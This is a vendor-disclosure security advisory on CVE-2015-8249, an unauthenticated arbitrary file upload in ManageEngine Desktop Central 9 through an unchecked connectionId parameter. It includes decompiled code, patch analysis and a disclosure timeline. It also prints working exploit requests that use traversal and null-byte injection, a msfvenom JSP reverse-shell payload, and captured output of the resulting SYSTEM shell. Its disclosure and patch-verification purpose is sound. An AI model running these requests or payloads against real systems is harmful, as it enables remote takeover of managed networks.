R7-2015-22: ManageEngine Desktop Central 9 FileUploadServlet connectionId Vulnerability

ManageEngine Desktop Central 9 suffers from a vulnerability that allows a remote attacker to upload a malicious file, and execute it under the context of SYSTEM. Authentication is not required to exploit this vulnerability. In addition, the vulnerability is similar to a ZDI advisory released on May 7th, 2015 - ZDI-15-180.

This advisory specifically mentions `computerName`, and this is an important piece of information. First off, `computerName` is a parameter in FileUploadServlet, which is used to normalize a file path for our uploaded 7z file. From the sound of it, this parameter was not properly checked, or not checked at all for any path injection attacks. A patch was released by the vendor, and according to them: "Upgrade to version 9 build 90142" should address this vulnerability.

Although the latest version of ManageEngine Desktop Central 9 does check for multiple things such as directory traversal, absolute path injection, and potentially dangeorus executables for `computerName`, it isn't the only parameter that is user-supplied and part of the file path. The `connectionId` parameter is also user-supplied, and is part of the file path for our uploaded file.

From the look of the decompiled code, I don't think this was a regression bug. The fix was incomplete. The vendor only addressed what was reported to them, but overlooked the other one. Code review for the patch could have caught this.

Credit

This issue was discovered by Wei Chen of Rapid7, Inc., and reported to the vendor per Rapid7's disclosure policy.

Tested & Analyzed Versions

Builds 90109 and 91084 were tested and found to be vulnerable to the issue. At the time of discovery, build 91084 as the latest available version.

Fixed version

Build 91093 was released on November 30, 2015, and appears to fix the described issue. See the Patch Analysis section for details.

Code Analysis

The FileUploadServlet class begins handling our POST request in the doPost function. In this function, you will see that the variable `compName` is checked by `FileUploadUtil.hasVulnerabilityInFileName`. That is the function for checking things like directory traversal, absolute path injection, and executable file types (such as jsp, js, and html)

After the compName check, you will see that it calls a `downLoadFile()` function.

```
 public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
  {
    String sourceMethod = "FileUploadServlet::doPost";
    this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " +
request.getRemoteHost());
    connectionId = request.getParameter("connectionId");
    resourceId = request.getParameter("resourceId");
    action = request.getParameter("action");
    compName = request.getParameter("computerName");
    customerId =
Long.valueOf(Long.parseLong(request.getParameter("customerId")));
    nDataLength = request.getContentLength();
    checkSumValue = request.getParameter("checkSumValue");
    try
    {
      if ((compName != null) &&
(FileUploadUtil.hasVulnerabilityInFileName(compName)))
      {
        this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the
request: compName: {0}", new Object[] { compName });
        response.sendError(403, "Request Refused");
        return;
      }
      nDataLength = request.getContentLength();
      long freeSpace = RDSUtil.getInstance().getServerFreeSpace();
      if (nDataLength < freeSpace)
      {
        String receivedStatus = downLoadFile(request);

        response.setHeader("Upload_Status", receivedStatus);
      }
      else
      {
        this.logger.log(Level.WARNING, sourceMethod + " -> No required Space is
availbale to store the video file ");
        if ((action != null) && (action.equalsIgnoreCase("rds_file_upload"))) {
          throw new SyMException(3010, "No Space to store Video file ", new
Exception("No Space to store Video file"));
```

```
        }
      }
      this.logger.log(Level.INFO, sourceMethod + " -> The method ended ");
    }
    catch (SyMException exp)
    {
      int errorCode = exp.getErrorCode();
      String errorMessage = exp.getMessage();
      this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " +
errorCode);
      this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " +
errorMessage);
      RdsHistoryDetails.getInstance().updateErrorCode(resourceId, connectionId,
errorCode);
    }
    catch (Exception ex)
    {
      this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " +
ex);
    }
  }
```

The `downLoadFile()` function is used to actually save our uploaded file. You can upload whatever you want:

```
   private String downLoadFile(HttpServletRequest request)
  {
    String status = "Success";
    try
    {
      String sourceMethod = "FileUploadServlet::downLoadFile";
      InputStream appIn = request.getInputStream();
      String absoluteFileName = getFileFolderPath();
      if ((action != null) && (action.equalsIgnoreCase("rds_file_upload")))
      {
        HashMap resMap = new HashMap();
        resMap.put("fileStatus", Integer.valueOf(3));
        resMap.put("connectionID", connectionId);
        resMap.put("filePath", absoluteFileName);
        resMap.put("fileSize", Long.valueOf(nDataLength));
        RdsHistoryDetails.getInstance().updateRCHistoryConnection(resMap);
      }
      Thread.sleep(5000L);
      OutputStream outputFile = new FileOutputStream(absoluteFileName);
      this.logger.log(Level.INFO, sourceMethod + "  ==========> Method Starts
<===========");
      try
      {
        int numread = 0;
        int count = 0;
        byte[] bytesread = new byte[262144];
        long receivedFileSize = 0L;

        this.logger.log(Level.INFO, sourceMethod + " -> Total Received Data
length = : " + nDataLength);
        while ((appIn != null) && ((numread = appIn.read(bytesread)) != -1))
        {
          count++;
          this.logger.log(Level.FINE, sourceMethod + " -> Going to write the
file: count: " + count + " numread :" + numread);

          outputFile.write(bytesread, 0, numread);
          receivedFileSize += numread;
          this.logger.log(Level.FINE, sourceMethod + " -> receivedFileSize: " +
receivedFileSize);
        }
        String checkSum =
ChecksumProvider.getInstance().GetMD5HashFromFile(absoluteFileName);
        this.logger.log(Level.INFO, sourceMethod + " Generated checksum value is
: " + checkSum);
        if ((nDataLength == receivedFileSize) &&
(checkSum.equals(checkSumValue)))
        {
          this.logger.log(Level.INFO, sourceMethod + " -> Received whole file
successfully ");
          if ((action != null) && (action.equalsIgnoreCase("rds_file_upload")))
          {
            HashMap resMap = new HashMap();
            resMap.put("fileStatus", Integer.valueOf(0));
            resMap.put("connectionID", connectionId);
            resMap.put("filePath", absoluteFileName);
            resMap.put("fileSize", Long.valueOf(nDataLength));
            RdsHistoryDetails.getInstance().updateRCHistoryConnection(resMap);
          }
        }
        else
        {
          status = "Failed";
        }
      }
      catch (Exception e)
      {
        this.logger.log(Level.WARNING, " -> Exception occured while writing file:
" + e);
      }
      finally
      {
        outputFile.close();
        appIn.close();
      }
      this.logger.log(Level.INFO, sourceMethod + "  ==========> Method Ends
<===========");
    }
    catch (Exception e)
    {
      this.logger.log(Level.WARNING, " -> Exception occured : " + e);
    }
    return status;
  }
```

However, take a closer look at the `absoluteFileName` variable. This variable is obtained from the `getFileFolderPath()` function:

```
   public String getFileFolderPath()
  {
    try
    {
      String sourceMethod = "FileUploadServlet::getFileFolderPath";
      String absoluteFileFolderPath = null;

      this.logger.log(Level.INFO, sourceMethod + " -> Action : " + action);
      if ((action != null) && (action.equalsIgnoreCase("rds_file_upload")))
      {
        String server_home =
DCMetaDataUtil.getInstance().getServerDataDir(customerId);
        this.logger.log(Level.FINE, sourceMethod + " -> The server home path is :
" + server_home);
        absoluteFileFolderPath = server_home + File.separator +
RDSUtil.RDS_SCRREC_FOLDER;
      }
      if (!ApiFactory.getFileAccessAPI().isFileExists(absoluteFileFolderPath)) {
        ApiFactory.getFileAccessAPI().createDirectory(absoluteFileFolderPath);
      }
      this.logger.log(Level.FINE, sourceMethod + " -> The Absolute File Folder
Path is  : " + absoluteFileFolderPath);
```

```
      String absoluteFileName = getAbsoluteFileName(absoluteFileFolderPath);
      this.logger.log(Level.INFO, sourceMethod + " -> The Absolute Path with File
Name is  : " + absoluteFileName);

      return absoluteFileName;
    }
    catch (Exception e)
    {
      this.logger.log(Level.WARNING, " -> Exception occured : " + e);
    }
    return null;
  }
```

`getFileFolderPath()` is sort of a wrapper for `getAbsoluteFileName`, so we look at that:

```
  public String getAbsoluteFileName(String fileFolder)
  {
    String sourceMethod = "FileUploadServlet::getAbsoluteFileName";
    try
    {
      String absoluteFileName = null;
      if ((action != null) && (action.equalsIgnoreCase("rds_file_upload")))
      {
        String userName = getUserNamefromDO(connectionId);
        String fileName = userName + "-" + compName + "-" + connectionId;
        absoluteFileName = fileFolder + File.separator + fileName + ".7z";
        HashMap resMap = new HashMap();
        resMap.put("connectionID", connectionId);
        resMap.put("filePath", absoluteFileName);
        resMap.put("fileStatus", Integer.valueOf(1));
        resMap.put("fileSize", Long.valueOf(nDataLength));
        this.logger.log(Level.FINE, sourceMethod + " --> The Absolute Path with
File Name is  : " + absoluteFileName);
        RdsHistoryDetails.getInstance().updateRCHistoryConnection(resMap);
      }
      this.logger.log(Level.FINE, sourceMethod + " --> The Absolute Path with
File Name is  : " + absoluteFileName);
      return absoluteFileName;
    }
    catch (Exception e)
    {
      this.logger.log(Level.WARNING, sourceMethod + " --> Exception occured : " +
e);
    }
```

```
      return null;
    }
```

Pay attention to the `fileName` variable above. As you can see, there are three variables used to craft this filename: `userName`, `compName`, and `connectionId`. As you remember, `compName` is already checked for malicious inputs in the `doPost()` function, but throughout the code flow, the connectionId is never checked, and we have control of it. And that's your vulnerability.

Attacker's Notes

For `connectionId`, we can inject a null byte to modify the file extension. For example, if we do `evil.jsp%00`, our filename becomes "evil.jsp" instead of "evil.jsp.7z". Since ManageEngine Desktop Central 9 is Java, and runs on top of Apache, it should support JSP and PHP.

However, we cannot just upload our JSP/PHP file to the server-data directory (where the FileUploadServlet class puts all the 7z files), the server won't treat them as executables. We have to put our malicious file somewhere else. To solve this, we can simply traverse our way to a different directory using "..". In our attack, we choose the following to plant our JSP payload:

Build 90109:

C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jsp\common

Build 91084 (it's a different path because this version no longer has the jsp directory):

C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf

It is possible to find a path that's compatible with either version, but I did not investigate.

Demonstration 1 (PoC)

Tested Environments:

- Windows 7 SP1 (x86)
- ManageEngine Desktop Central 9 Build 91084

Steps:

1. Create the following file as /tmp/a.txt (this is your payload)

```
<%= new String("Hello!") %>
```

2. Run the following. You should get a "Hello!" as the response for the second curl command.

```
msf sinn3r $ curl -v -X POST "http://192.168.1.188:8020/fileupload?
connectionId=AAAAAAA%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cjspf%5ctest.j
sp%00&resourceId=B&action=rds_file_upload&computerName=sinn3r%2ephp&customerId=47
474747" --data @/tmp/a.txt --header "Content-Type:application/octet-stream" &&
http://192.168.1.188:8020/jspf/test.jsp
* Hostname was NOT found in DNS cache
*   Trying 192.168.1.188...
* Connected to 192.168.1.188 (192.168.1.188) port 8020 (#0)
> POST /fileupload?
connectionId=AAAAAAA%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cjspf%5ctest.j
sp%00&resourceId=B&action=rds_file_upload&computerName=sinn3r%2ephp&customerId=47
474747 HTTP/1.1
> User-Agent: curl/7.37.1
> Host: 192.168.1.188:8020
> Accept: */*
> Content-Type:application/octet-stream
> Content-Length: 27
>
* upload completely sent off: 27 out of 27 bytes
< HTTP/1.1 200 OK
< Date: Fri, 09 Oct 2015 20:06:23 GMT
* Server Apache is not blacklisted
< Server: Apache
< Upload_Status: Failed
< Content-Length: 0
< X-dc-header: yes
<
* Connection #0 to host 192.168.1.188 left intact
-bash: http://192.168.1.188:8020/jspf/test.jsp: No such file or directory
msf sinn3r $ curl http://192.168.1.188:8020/jspf/test.jsp
Hello!msf sinn3r $
```

Demonstration 2 (real attack)

Tested Environments:

- Windows 7 SP1 (x86)
- ManageEngine Desktop Central 9 Build 91084

Steps:

1. Create a JSP shell

```
./msfvenom -p java/jsp_shell_reverse_tcp lhost=IP lport=4444 -f raw > /tmp/a.txt
```

2. Start a payload handler
3. Upload and JSP payload and execute it:

```
msf sinn3r $ curl -v -X POST "http://192.168.1.188:8020/fileupload?
connectionId=AAAAAAA%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cjspf%5ctest.j
sp%00&resourceId=B&action=rds_file_upload&computerName=sinn3r%2ephp&customerId=47
474747" --data @/tmp/a.txt --header "Content-Type:application/octet-stream" &&
http://192.168.1.188:8020/jspf/test.jsp
* Hostname was NOT found in DNS cache
*   Trying 192.168.1.188...
* Connected to 192.168.1.188 (192.168.1.188) port 8020 (#0)
> POST /fileupload?
connectionId=AAAAAAA%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cjspf%5ctest.j
sp%00&resourceId=B&action=rds_file_upload&computerName=sinn3r%2ephp&customerId=47
474747 HTTP/1.1
> User-Agent: curl/7.37.1
> Host: 192.168.1.188:8020
> Accept: */*
> Content-Type:application/octet-stream
> Content-Length: 1440
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
< HTTP/1.1 200 OK
< Date: Sat, 10 Oct 2015 18:14:00 GMT
* Server Apache is not blacklisted
< Server: Apache
< Upload_Status: Failed
< Content-Length: 0
< X-dc-header: yes
<
* Connection #0 to host 192.168.1.188 left intact
-bash: http://192.168.1.188:8020/jspf/test.jsp: No such file or directory
msf sinn3r $ curl http://192.168.1.188:8020/jspf/test.jsp
msf sinn3r $
```

4. On msfconsole, we see that we have a shell under the context of SYSTEM:

```
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.64:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.64:4444 -> 192.168.1.188:62666) at
2015-10-10 13:14:08 -0500
```

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ManageEngine\DesktopCentral_Server\bin>whoami
whoami
nt authority\system

C:\ManageEngine\DesktopCentral_Server\bin>
```

Patch Analysis

The patch can be analyzed by decomping the FileUploadServlet class from AdventNetDesktopCentral.jar, and then diff against the vulnerable one, and we have:

```
$ diff 91084.java 91099.java
1c1
<  public void doPost(HttpServletRequest request, HttpServletResponse response)
---
>   public void doPost(HttpServletRequest request, HttpServletResponse response)
15c15
<       if ((compName != null) &&
(FileUploadUtil.hasVulnerabilityInFileName(compName)))
---
>       if (((compName != null) &&
(FileUploadUtil.hasVulnerabilityInFileName(compName))) || ((connectionId != null)
&& (!StringUtils.isNumeric(connectionId.trim()))))
17c17
<         this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the
request: compName: {0}", new Object[] { compName });
---
>         this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the
request: compName:{0}, connectionId: {1}", new Object[] { compName, connectionId
});
26c26
<
---
>
```

The above patch roughly shows the connectionId parameter is being checked by a `StringUtils.isNumeric` method. The API documention for `StringUtils.isNumeric` can be found here. This seems to be an appropriate way to fix the vulnerability.

To see what actually happens after the check, we need to see the doPost method. It looks like it simply sends a 403 HTTP response to the client, and then return, which prevents us from reaching the `downloadFile()` method that we need to upload an arbitrary file:

```
  public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
  {
    String sourceMethod = "FileUploadServlet::doPost";
    this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + 
request.getRemoteHost());
    connectionId = request.getParameter("connectionId");
    resourceId = request.getParameter("resourceId");
    action = request.getParameter("action");
    compName = request.getParameter("computerName");
    customerId = 
Long.valueOf(Long.parseLong(request.getParameter("customerId")));
    nDataLength = request.getContentLength();
    checkSumValue = request.getParameter("checkSumValue");
    try
    {
      if (((compName != null) && 
(FileUploadUtil.hasVulnerabilityInFileName(compName))) || ((connectionId != null) 
&& (!StringUtils.isNumeric(connectionId.trim()))))
      {
        this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the 
request: compName:{0}, connectionId: {1}", new Object[] { compName, connectionId 
});
        response.sendError(403, "Request Refused");
        return;
      }
```

Patch Testing

By trying our Metasploit module against the patched ManageEngine, it proves the patch is working properly:

```
msf exploit(manageengine_connectionid_exec) > run

[*] Started reverse handler on 10.6.0.100:4444
[*] Creating JSP stager
[*] Uploading JSP stager test.jsp...
[-] Exploit aborted due to failure: unknown: The server returned 403, but 200 was 
expected.
[!] This exploit may require manual cleanup of 
'../webapps/DesktopCentral/jspf/test.jsp' on the target
msf exploit(manageengine_connectionid_exec) >
```

Disclosure Timeline

- Sun, Oct 11, 2015: Vulnerability discovered by Wei Chen of Rapid7, Inc.
- Mon, Oct 12, 2015: Contacted vendor
- Tue, Oct 19, 2015: Vendor provided contact e-mail (desktopcentral-security@manageengine.com)
- Wed, Oct 20, 2015: Draft details disclosed to vendor
- Mon, Nov 02, 2015: Vendor confirmed the vulnerability
- Mon, Nov 23, 2015: Disclosed to CERT, CVE-2015-8249 assigned
- Wed, Nov 25, 2015: Patched version 91093 released
- Mon, Nov 30, 2015: Patch confirmed as effective
- Mon, Dec 14, 2015: Public Disclosure